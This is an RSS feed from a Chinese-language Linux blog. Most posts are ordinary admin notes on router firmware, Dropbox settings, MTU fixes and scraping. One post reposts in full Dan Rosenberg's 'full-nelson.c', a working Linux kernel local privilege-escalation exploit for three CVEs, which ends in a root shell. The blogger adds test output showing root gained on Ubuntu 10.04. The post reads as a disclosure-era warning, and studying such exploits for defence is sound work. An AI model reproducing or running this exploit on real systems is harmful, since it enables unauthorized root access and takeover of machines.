<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Matrix &#187; Linux</title>
	<atom:link href="http://matrix.windhunter.net/blog/category/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://matrix.windhunter.net/blog</link>
	<description>Everything that Has a Beginning Has an End</description>
	<lastBuildDate>Thu, 17 May 2012 20:03:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Amazon cloud drive的tos很扯蛋</title>
		<link>http://matrix.windhunter.net/blog/2011/05/amazon-cloud-drive-tos-is-bullshit-403.html</link>
		<comments>http://matrix.windhunter.net/blog/2011/05/amazon-cloud-drive-tos-is-bullshit-403.html#comments</comments>
		<pubDate>Fri, 13 May 2011 06:30:34 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[amazon cloud drive]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[sync]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=403</guid>
		<description><![CDATA[对国内网盘不信任，Dropbox在国内又处于不稳定状态。所以，打算尝试用Amazon cloud drive做ubuntu desktop的文件同步。 而Amazon cloud drive目前只提供了web的管理界面。也就是说，上传/下载文件必须通过浏览器。这对于用惯了Dropbox到同学来说简直就是一场噩梦。于是，开始寻找第三方同步工具。 非常可惜，Google了一大圈，没有发现任何在linux上可运行的第三方同步工具。上Amazon到官方论坛寻找答案，有位好同学给出了原因： I read “Amazon Cloud Drive: Terms of Use”, and regreted that a pleasant hack can&#8217;t be continued. I&#8217;m also awaiting for official APIs, so I gave up developing 3rd-party library&#8230; http://www.amazon.com/gp/help/customer/display.html/?nodeId=200557360 6. Software you may not &#8230; (f) modify, reverse engineer, decompile or disassemble, or otherwise tamper [...]]]></description>
			<content:encoded><![CDATA[<p>对国内网盘不信任，Dropbox在国内又处于不稳定状态。所以，打算尝试用Amazon cloud drive做ubuntu desktop的文件同步。</p>
<p>而Amazon cloud drive目前只提供了web的管理界面。也就是说，上传/下载文件必须通过浏览器。这对于用惯了Dropbox到同学来说简直就是一场噩梦。于是，开始寻找第三方同步工具。</p>
<p>非常可惜，Google了一大圈，没有发现任何在linux上可运行的第三方同步工具。上Amazon到官方论坛寻找答案，有位好同学给出了<a href="https://forums.aws.amazon.com/thread.jspa?threadID=63378" target="_blank" onclick="urchinTracker('/outgoing/forums.aws.amazon.com/thread.jspa?threadID=63378&amp;referer=');">原因</a>：</p>
<p><span id="more-403"></span></p>
<blockquote><p>I read “Amazon Cloud Drive: Terms of Use”, and regreted that a pleasant hack can&#8217;t be continued. I&#8217;m also awaiting for official APIs, so I gave up developing 3rd-party library&#8230;<br />
<a href="http://www.amazon.com/gp/help/customer/display.html/?nodeId=200557360" onclick="urchinTracker('/outgoing/www.amazon.com/gp/help/customer/display.html/?nodeId=200557360&amp;referer=');">http://www.amazon.com/gp/help/customer/display.html/?nodeId=200557360</a></p>
<p>6. Software</p>
<p>you may not &#8230; (f) modify, reverse engineer, decompile or disassemble, or otherwise tamper with, the Software, whether in whole or in part, or create any derivative works from or of the Software.</p></blockquote>
<p>在官方API没有开放到情况下，这就是断绝了第三方同步软件的存在阿&#8230;.Amazon到底怎么想的？</p>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2011/05/amazon-cloud-drive-tos-is-bullshit-403.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>百家講壇的MP3</title>
		<link>http://matrix.windhunter.net/blog/2011/04/mp3-of-baijiajiangtan-374.html</link>
		<comments>http://matrix.windhunter.net/blog/2011/04/mp3-of-baijiajiangtan-374.html#comments</comments>
		<pubDate>Mon, 04 Apr 2011 15:10:23 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[我的生活]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[百家講壇]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=374</guid>
		<description><![CDATA[本人比較喜歡百家講壇的一些歷史節目。用來在閒暇時間填補大腦的空白是很不錯的選擇。比如上個月的很多時間都在客戶那處理技術問題，在這前不著村後不著店的破地方，百家的mp3陪我度過了大部分空閒時間。 我搜集的百家講壇的mp3原本大多來自verycd。因為是“講”壇，所以絕大部分時候是無需下載視頻節目的。那麼這裡有個更好的選擇：http://www.baijiajiangtan.org/ 大概是這個管理員從視頻中提取了mp3吧，反正很方便我這樣的“專業”聽眾下載。 美中不足的是，從這個網站獲取mp3的步驟很繁瑣。從選擇節目，到點擊mp3的下載鏈接至少要3步。偉大的人類無法適應機械運動啊&#8230;.so,為了自己方便，用python寫了個小爬蟲，專門獲取這個網站MP3文件的下載路徑，並存入文件。 用法很簡單,將需要下載的節目主題丟給程序，程序會輸出一個文本文件，其中包含了此節目所有的mp3文件路徑。然後麼，就是丟個各種下載軟件處理了。 是以為記。 （下載程序暫時就不公開放出了。一來是自己代碼寫的奇爛；二來麼，人家網站也要活,大夥都用程序去爬的話&#8230;..有需要的同學私下向我索取吧）]]></description>
			<content:encoded><![CDATA[<p>本人比較喜歡百家講壇的一些歷史節目。用來在閒暇時間填補大腦的空白是很不錯的選擇。比如上個月的很多時間都在客戶那處理技術問題，在這前不著村後不著店的破地方，百家的mp3陪我度過了大部分空閒時間。</p>
<p>我搜集的百家講壇的mp3原本大多來自verycd。因為是“講”壇，所以絕大部分時候是無需下載視頻節目的。那麼這裡有個更好的選擇：http://www.baijiajiangtan.org/</p>
<p><span id="more-374"></span></p>
<p>大概是這個管理員從視頻中提取了mp3吧，反正很方便我這樣的“專業”聽眾下載。</p>
<p>美中不足的是，從這個網站獲取mp3的步驟很繁瑣。從選擇節目，到點擊mp3的下載鏈接至少要3步。偉大的人類無法適應機械運動啊&#8230;.so,為了自己方便，用python寫了個小爬蟲，專門獲取這個網站MP3文件的下載路徑，並存入文件。</p>
<p>用法很簡單,將需要下載的節目主題丟給程序，程序會輸出一個文本文件，其中包含了此節目所有的mp3文件路徑。然後麼，就是丟個各種下載軟件處理了。</p>
<p>是以為記。</p>
<p>（下載程序暫時就不公開放出了。一來是自己代碼寫的奇爛；二來麼，人家網站也要活,大夥都用程序去爬的話&#8230;..有需要的同學私下向我索取吧）</p>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2011/04/mp3-of-baijiajiangtan-374.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>抛弃DDWRT</title>
		<link>http://matrix.windhunter.net/blog/2011/03/give-up-ddwrt-344.html</link>
		<comments>http://matrix.windhunter.net/blog/2011/03/give-up-ddwrt-344.html#comments</comments>
		<pubDate>Sat, 19 Mar 2011 08:20:14 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[ddwrt]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=344</guid>
		<description><![CDATA[實在是沒辦法，DDWRT的無線驅動爛到渣。我300mb的無線帶寬只能跑54mb，換算一下500+KB/秒。受不了，刷回原廠ROM。 做個記錄吧，沒準將來還用的到： 1.去原廠下載原版rom (我的是http://www.tplink.com.cn/) 2.telnet 到DDWRT，用wget下載剛剛下載的rom telnet 192.168.1.1 cd /tmp   #進入臨時文件夾 wget http://192.168.1.100/xxxxx.bin # 192.168.1.100是我的電腦，xxxxx.bin是rom文件 3. 寫入！ mtd -r write xxxxx.bin linux #-r 和 linux參數不可少。-r的意思是寫完rom就重啟]]></description>
			<content:encoded><![CDATA[<p>實在是沒辦法，DDWRT的無線驅動爛到渣。我300mb的無線帶寬只能跑54mb，換算一下500+KB/秒。受不了，刷回原廠ROM。</p>
<p>做個記錄吧，沒準將來還用的到：</p>
<p>1.去原廠下載原版rom (我的是http://www.tplink.com.cn/)</p>
<p>2.telnet 到DDWRT，用wget下載剛剛下載的rom</p>
<p><span id="more-344"></span></p>
<blockquote><p>telnet 192.168.1.1</p>
<p>cd /tmp   #進入臨時文件夾</p>
<p>wget http://192.168.1.100/xxxxx.bin # 192.168.1.100是我的電腦，xxxxx.bin是rom文件</p></blockquote>
<p>3. 寫入！</p>
<blockquote><p>mtd -r write xxxxx.bin linux #-r 和 linux參數不可少。-r的意思是寫完rom就重啟</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2011/03/give-up-ddwrt-344.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>服務器升級和一點dropbox的小改動</title>
		<link>http://matrix.windhunter.net/blog/2011/01/server-upgrade-and-small-change-of-dropbox-313.html</link>
		<comments>http://matrix.windhunter.net/blog/2011/01/server-upgrade-and-small-change-of-dropbox-313.html#comments</comments>
		<pubDate>Tue, 11 Jan 2011 05:49:18 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=313</guid>
		<description><![CDATA[托美帝資本家的福，服務器做了升級,但價錢不變。2T流量,我怎麼用的完. 看來有時間可以搗鼓些好玩的東東丟服務器上了。 blog大搬家，自然不會忘記備份。Dropbox已經是不可缺少的武器了。 和去年相比，console模式的Dropbox安裝簡單了不少。 唯一需要注意的是：安裝完成需要關閉Lan Synchronize模式。 很遺憾，官網提供的dropbox_set_lansync.py在我這水土不服。 解決之道也很簡單： sqlite3 ~/.dropbox/config.db &#8216;REPLACE INTO config (key,value) VALUES (“p2p_enabled”,0)&#8217;]]></description>
			<content:encoded><![CDATA[<p>托美帝資本家的福，服務器做了升級,但價錢不變。2T流量,我怎麼用的完.</p>
<p>看來有時間可以搗鼓些好玩的東東丟服務器上了。</p>
<p>blog大搬家，自然不會忘記備份。Dropbox已經是不可缺少的武器了。</p>
<p><span id="more-313"></span></p>
<p>和去年相比，console模式的Dropbox安裝簡單了不少。</p>
<p>唯一需要注意的是：安裝完成需要關閉Lan Synchronize模式。</p>
<p>很遺憾，官網提供的<a href="http://dl.dropbox.com/u/340607/dropbox_set_lansync.py" onclick="urchinTracker('/outgoing/dl.dropbox.com/u/340607/dropbox_set_lansync.py?referer=');">dropbox_set_lansync.py</a>在我這水土不服。</p>
<p>解決之道也很簡單：</p>
<blockquote><p>sqlite3 ~/.dropbox/config.db &#8216;REPLACE INTO config (key,value) VALUES (“p2p_enabled”,0)&#8217;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2011/01/server-upgrade-and-small-change-of-dropbox-313.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用Linux Econet漏洞獲得root權限</title>
		<link>http://matrix.windhunter.net/blog/2010/12/linux-kernel-exploit-on-econet-299.html</link>
		<comments>http://matrix.windhunter.net/blog/2010/12/linux-kernel-exploit-on-econet-299.html#comments</comments>
		<pubDate>Fri, 10 Dec 2010 09:18:36 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=299</guid>
		<description><![CDATA[Dan Rosenberg今天發佈了一個程序，利用linux econet漏洞獲取root權限。原鏈接見Dan Rosenberg的maillist 轉載如下： Hi all, I&#8217;ve included here a proof-of-concept local privilege escalation exploit for Linux. Please read the header for an explanation of what&#8217;s going on. Without further ado, I present full-nelson.c: Happy hacking, Dan /* * Linux Kernel &#60;= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter [...]]]></description>
			<content:encoded><![CDATA[<p>Dan Rosenberg今天發佈了一個程序，利用linux econet漏洞獲取root權限。原鏈接見<a href="http://marc.info/?l=full-disclosure&amp;m=129175358621826&amp;w=2" onclick="urchinTracker('/outgoing/marc.info/?l=full-disclosure_amp_m=129175358621826_amp_w=2&amp;referer=');">Dan Rosenberg的maillist </a><br />
轉載如下：</p>
<blockquote><p>Hi all,</p>
<p>I&#8217;ve included here a proof-of-concept local privilege escalation exploit<br />
for Linux. Please read the header for an explanation of what&#8217;s going<br />
on. Without further ado, I present full-nelson.c:</p>
<p>Happy hacking,<br />
Dan</p></blockquote>
<p><span id="more-299"></span></p>
<pre class="brush:cpp">/*
 * Linux Kernel &lt;= 2.6.37 local privilege escalation
 * by Dan Rosenberg
 * @djrbliss on twitter
 *
 * Usage:
 * gcc full-nelson.c -o full-nelson
 * ./full-nelson
 *
 * This exploit leverages three vulnerabilities to get root, all of which were
 * discovered by Nelson Elhage:
 *
 * CVE-2010-4258
 * -------------
 * This is the interesting one, and the reason I wrote this exploit.  If a
 * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
 * word will be written to a user-specified pointer when that thread exits.
 * This write is done using put_user(), which ensures the provided destination
 * resides in valid userspace by invoking access_ok().  However, Nelson
 * discovered that when the kernel performs an address limit override via
 * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
 * etc.), this override is not reverted before calling put_user() in the exit
 * path, allowing a user to write a NULL word to an arbitrary kernel address.
 * Note that this issue requires an additional vulnerability to trigger.
 *
 * CVE-2010-3849
 * -------------
 * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
 * fairly benign as a local denial-of-service.  It's a perfect candidate to
 * trigger the above issue, since it's reachable via sock_no_sendpage(), which
 * subsequently calls sendmsg under KERNEL_DS.
 *
 * CVE-2010-3850
 * -------------
 * I wouldn't be able to reach the NULL pointer dereference and trigger the
 * OOPS if users weren't able to assign Econet addresses to arbitrary
 * interfaces due to a missing capabilities check.
 *
 * In the interest of public safety, this exploit was specifically designed to
 * be limited:
 *
 *  * The particular symbols I resolve are not exported on Slackware or Debian
 *  * Red Hat does not support Econet by default
 *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
 *    Debian
 *
 * However, the important issue, CVE-2010-4258, affects everyone, and it would
 * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
 * more sophisticated version of this that doesn't have the roadblocks I put in
 * to prevent abuse by script kiddies.
 *
 * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
 *
 * NOTE: the exploit process will deadlock and stay in a zombie state after you
 * exit your root shell because the Econet thread OOPSes while holding the
 * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
 *
 * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
 */

#include &lt;stdio.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;string.h&gt;
#include &lt;net/if.h&gt;
#include &lt;sched.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;sys/utsname.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;unistd.h&gt;

/* How many bytes should we clear in our
 * function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&amp;addr, &amp;dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&amp;addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p &gt; ((char *)sname + 5) &amp;&amp; !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p &gt; (char *)sname &amp;&amp; *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	uname(&amp;ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

        commit_creds(prepare_kernel_cred(0));
        return -1;

}

/* Why do I do this?  Because on x86-64, the address of
 * commit_creds and prepare_kernel_cred are loaded relative
 * to rip, which means I can't just copy the above payload
 * into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{

#ifdef __x86_64__
	asm("mov $getroot, %rax; call *%rax;");
#else
	asm("mov $getroot, %eax; call *%eax;");
#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg
 * via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
	int ret;
	struct ifreq ifr;

	memset(&amp;ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

	ret = ioctl(fildes[2], SIOCSIFADDR, &amp;ifr);

	if(ret &lt; 0) {
		printf("[*] Failed to set Econet address.\n");
		return -1;
	}

	splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
	splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

	/* Shouldn't get here... */
	exit(0);
}

int main(int argc, char * argv[])
{
	unsigned long econet_ops, econet_ioctl, target, landing;
	int fildes[4], pid;
	void * newstack, * payload;

	/* Create file descriptors now so there are two
	   references to them after cloning...otherwise
	   the child will never return because it
	   deadlocks when trying to unlock various
	   mutexes after OOPSing */
	pipe(fildes);
	fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
	fildes[3] = open("/dev/zero", O_RDONLY);

	if(fildes[0] &lt; 0 || fildes[1] &lt; 0 || fildes[2] &lt; 0 || fildes[3] &lt; 0) {
		printf("[*] Failed to open file descriptors.\n");
		return -1;
	}

	/* Resolve addresses of relevant symbols */
	printf("[*] Resolving kernel addresses...\n");
	econet_ioctl = get_kernel_sym("econet_ioctl");
	econet_ops = get_kernel_sym("econet_ops");
	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

	if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
		printf("[*] Failed to resolve kernel symbols.\n");
		return -1;
	}

	if(!(newstack = malloc(65536))) {
		printf("[*] Failed to allocate memory.\n");
		return -1;
	}

	printf("[*] Calculating target...\n");
	target = econet_ops + 10 * sizeof(void *) - OFFSET;

	/* Clear the higher bits */
	landing = econet_ioctl &lt;&lt; SHIFT &gt;&gt; SHIFT;

	payload = mmap((void *)(landing &amp; ~0xfff), 2 * 4096,
		       PROT_READ | PROT_WRITE | PROT_EXEC,
		       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

	if ((long)payload == -1) {
		printf("[*] Failed to mmap() at target address.\n");
		return -1;
	}

	memcpy((void *)landing, &amp;trampoline, 1024);

	clone((int (*)(void *))trigger,
	      (void *)((unsigned long)newstack + 65536),
	      CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
	      &amp;fildes, NULL, NULL, target);

	sleep(1);

	printf("[*] Triggering payload...\n");
	ioctl(fildes[2], 0, NULL);

	if(getuid()) {
		printf("[*] Exploit failed to get root.\n");
		return -1;
	}

	printf("[*] Got root!\n");
	execl("/bin/sh", "/bin/sh", NULL);
}</pre>
<p>Ubuntu 10.04 Server LTS 上测试通过：</p>
<pre class="brush:shell">$ sudo apt-get update
$ sudo apt-get upgrade

$ uname -r
2.6.32-21-server

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa0131510
[+] Resolved econet_ops to 0xffffffffa0131600
[+] Resolved commit_creds to 0xffffffff8108b820
[+] Resolved prepare_kernel_cred to 0xffffffff8108bc00
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
</pre>
<p>在CentOS上測試未成功，因為centos/rhel缺省狀態是不打開econet的。<br />
<code><br />
</code></p>
<pre class="brush:shell"># yum update

$ uname -r
2.6.18-194.26.1.el5

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Failed to open file descriptors.
</pre>
<p>用Ubuntu的同學們要小心了。</p>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2010/12/linux-kernel-exploit-on-econet-299.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>都是mtu惹的祸</title>
		<link>http://matrix.windhunter.net/blog/2010/12/mtu-error-276.html</link>
		<comments>http://matrix.windhunter.net/blog/2010/12/mtu-error-276.html#comments</comments>
		<pubDate>Sat, 04 Dec 2010 06:06:54 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=276</guid>
		<description><![CDATA[上個月底，我們部門新用了一臺dell服務器（伺服器）接入公司網絡。我們部门所有的電腦都通過這台服務器鏈接公司內網和互聯網。os是centos5.5 這幾天，作為網關（網閘）的服務器一切運行正常。古怪的是，網關後的電腦（一般就是我們辦公用的）無法打開某些特定的網站。 開始是以為這些無法打開的網站屏蔽了公司總出口的ip。但別的部門卻一切正常，看來也不是ip的問題。 更奇怪的是，在這台dell網關服務器上，可以直接打開這些網站，偏偏網關後的機器不行。看來問題在服務器的設定上。 請教了其他部門的同事後，才知道，可能和我們接入路由器有關：我們路由器設定有問題。其設定的 MTU 大小可能不會讓超過特定大小的封包通過。 很明顯，我沒權限能力去修改上級路由器的mtu數值，那麼，就修改dell服務器的mtu把： iptables -A FORWARD -s 192.168.165.0/24 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j TCPMSS --set-mss 15560 //這是內網 iptables -A FORWARD -s 192.168.176.0/24 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j TCPMSS --set-mss 1356 //這是vpn撥入 ok！問題解決！ 啥時候我們的上級能真正花點錢在這些基本設施上呢？據我所知，那個路由器應該還是我大學時候，我沒進公司的時候的破爛貨&#8230;]]></description>
			<content:encoded><![CDATA[<p>上個月底，我們部門新用了一臺dell服務器（伺服器）接入公司網絡。我們部门所有的電腦都通過這台服務器鏈接公司內網和互聯網。os是centos5.5</p>
<p>這幾天，作為網關（網閘）的服務器一切運行正常。古怪的是，網關後的電腦（一般就是我們辦公用的）無法打開某些特定的網站。</p>
<p>開始是以為這些無法打開的網站屏蔽了公司總出口的ip。但別的部門卻一切正常，看來也不是ip的問題。<br />
更奇怪的是，在這台dell網關服務器上，可以直接打開這些網站，偏偏網關後的機器不行。看來問題在服務器的設定上。</p>
<p>請教了其他部門的同事後，才知道，可能和我們接入路由器有關：我們路由器設定有問題。其設定的 MTU 大小可能不會讓超過特定大小的封包通過。</p>
<p>很明顯，我沒權限能力去修改上級路由器的mtu數值，那麼，就修改dell服務器的mtu把：<br />
<code><br />
iptables -A FORWARD -s 192.168.165.0/24 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j TCPMSS --set-mss 15560 //這是內網<br />
iptables -A FORWARD -s 192.168.176.0/24 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j TCPMSS --set-mss 1356 //這是vpn撥入<br />
</code></p>
<p>ok！問題解決！</p>
<p>啥時候我們的上級能真正花點錢在這些基本設施上呢？據我所知，那個路由器應該還是我大學時候，我沒進公司的時候的破爛貨&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2010/12/mtu-error-276.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wowarmory的一點數據分析</title>
		<link>http://matrix.windhunter.net/blog/2010/08/small-digging-wowarmory-256.html</link>
		<comments>http://matrix.windhunter.net/blog/2010/08/small-digging-wowarmory-256.html#comments</comments>
		<pubDate>Wed, 25 Aug 2010 22:05:19 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=256</guid>
		<description><![CDATA[應某位愛玩魔獸世界的朋友所托，嘗試從wowarmory的數據庫裏挖出點東西。以下是一些心得體會 wowarmory不存在什麼API。他的每個xml頁面都是我們挖掘的目標 wowarmory使用ajax、xml技術生成他的頁面。這種東西的有點是：非常有序化；管理維護容易（也未必？）。缺點是：對搜索引擎極其不友好。不信你試試google在wowarmory搜東西試試。 遊戲角色主要數據來源是以下5個xml： 人物基本 character-sheet.xml 人物天賦 character-talents.xml 人物聲望 character-reputation.xml 人物狀態 character-statistics.xml 人物成就 character-achievements.xml 比如，您需要查詢服務器名為A中的B人物的基本數據，那麼url鏈接就是： http://www.wowarmory.com/character-sheet.xml?r=A&#38;cn=B r 應該是realm的簡寫，cn應該是character name的簡寫 人物成就查詢，多一個參數c，比如 http://www.wowarmory.com/character-achievements.xml?r=A&#38;cn=B&#38;c=96 c應該是categories的縮寫。目前知道的分類有： 81  -  Feats of Strength, 92  -  General, 155  -  World Events, 95  -  Player vs. Player, 96  -  Quests, 201  -  Reputation, 168  -  Dungeons &#38; Raids, 97  -  Exploration, 169  - [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste">應某位愛玩魔獸世界的朋友所托，嘗試從wowarmory的數據庫裏挖出點東西。以下是一些心得體會</div>
<div id="_mcePaste">
<ol>
<li>wowarmory不存在什麼API。他的每個xml頁面都是我們挖掘的目標</li>
<li>wowarmory使用ajax、xml技術生成他的頁面。這種東西的有點是：非常有序化；管理維護容易（也未必？）。缺點是：對搜索引擎極其不友好。不信你試試google在wowarmory搜東西試試。</li>
<div><span id="more-256"></span></div>
<div id="_mcePaste">
<li>遊戲角色主要數據來源是以下5個xml：</li>
</div>
<blockquote>
<div id="_mcePaste">人物基本 character-sheet.xml</div>
<div id="_mcePaste">人物天賦 character-talents.xml</div>
<div id="_mcePaste">人物聲望 character-reputation.xml</div>
<div id="_mcePaste">人物狀態 character-statistics.xml</div>
<div id="_mcePaste">人物成就 character-achievements.xml</div>
</blockquote>
<div id="_mcePaste">
<li>比如，您需要查詢服務器名為A中的B人物的基本數據，那麼url鏈接就是：</li>
</div>
<blockquote>
<div id="_mcePaste">http://www.wowarmory.com/character-sheet.xml?r=A&amp;cn=B</div>
</blockquote>
<div id="_mcePaste">r 應該是realm的簡寫，cn應該是character name的簡寫</div>
<div id="_mcePaste">
<li>人物成就查詢，多一個參數c，比如</li>
</div>
<blockquote>
<div id="_mcePaste">http://www.wowarmory.com/character-achievements.xml?r=A&amp;cn=B&amp;c=96</div>
</blockquote>
<div id="_mcePaste">c應該是categories的縮寫。目前知道的分類有：</div>
<blockquote>
<div id="_mcePaste">81  -  Feats of Strength,</div>
<div id="_mcePaste">92  -  General,</div>
<div id="_mcePaste">155  -  World Events,</div>
<div id="_mcePaste">95  -  Player vs. Player,</div>
<div id="_mcePaste">96  -  Quests,</div>
<div id="_mcePaste">201  -  Reputation,</div>
<div id="_mcePaste">168  -  Dungeons &amp; Raids,</div>
<div id="_mcePaste">97  -  Exploration,</div>
<div id="_mcePaste">169  -  Professions.</div>
<div id="_mcePaste">statistics categories:</div>
<div id="_mcePaste">128  -  Kills,</div>
<div id="_mcePaste">141  -  Combat,</div>
<div id="_mcePaste">130  -  Character,</div>
<div id="_mcePaste">131  -  Social,</div>
<div id="_mcePaste">132  -  Skills,</div>
<div id="_mcePaste">133  -  Quests,</div>
<div id="_mcePaste">122  -  Deaths,</div>
<div id="_mcePaste">134  -  Travel,</div>
<div id="_mcePaste">14807  -  Dungeons &amp; Raids,</div>
<div id="_mcePaste">21  -  Player vs. Player.</div>
</blockquote>
<div id="_mcePaste">
<li>道具查詢是item-tooltip.xml，參數是i，應該是item的縮寫。舉例就是：</li>
</div>
<blockquote>
<div id="_mcePaste">http://www.wowarmory.com/item-tooltip.xml?i=50803</div>
</blockquote>
<div id="_mcePaste">
<li>數據獲取後，用相應的xml解析器拆開.目前的思路就是：curl獲取數據-&gt;php做xml解析，即可得到需要的數據。</li>
<li>目前只拆到這麼多，想到在寫。</li>
</div>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2010/08/small-digging-wowarmory-256.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>利用开源软件搭建可伸缩/管理的vpn服务器(群)</title>
		<link>http://matrix.windhunter.net/blog/2010/03/use-opensouce-software-setup-vpn-servers-171.html</link>
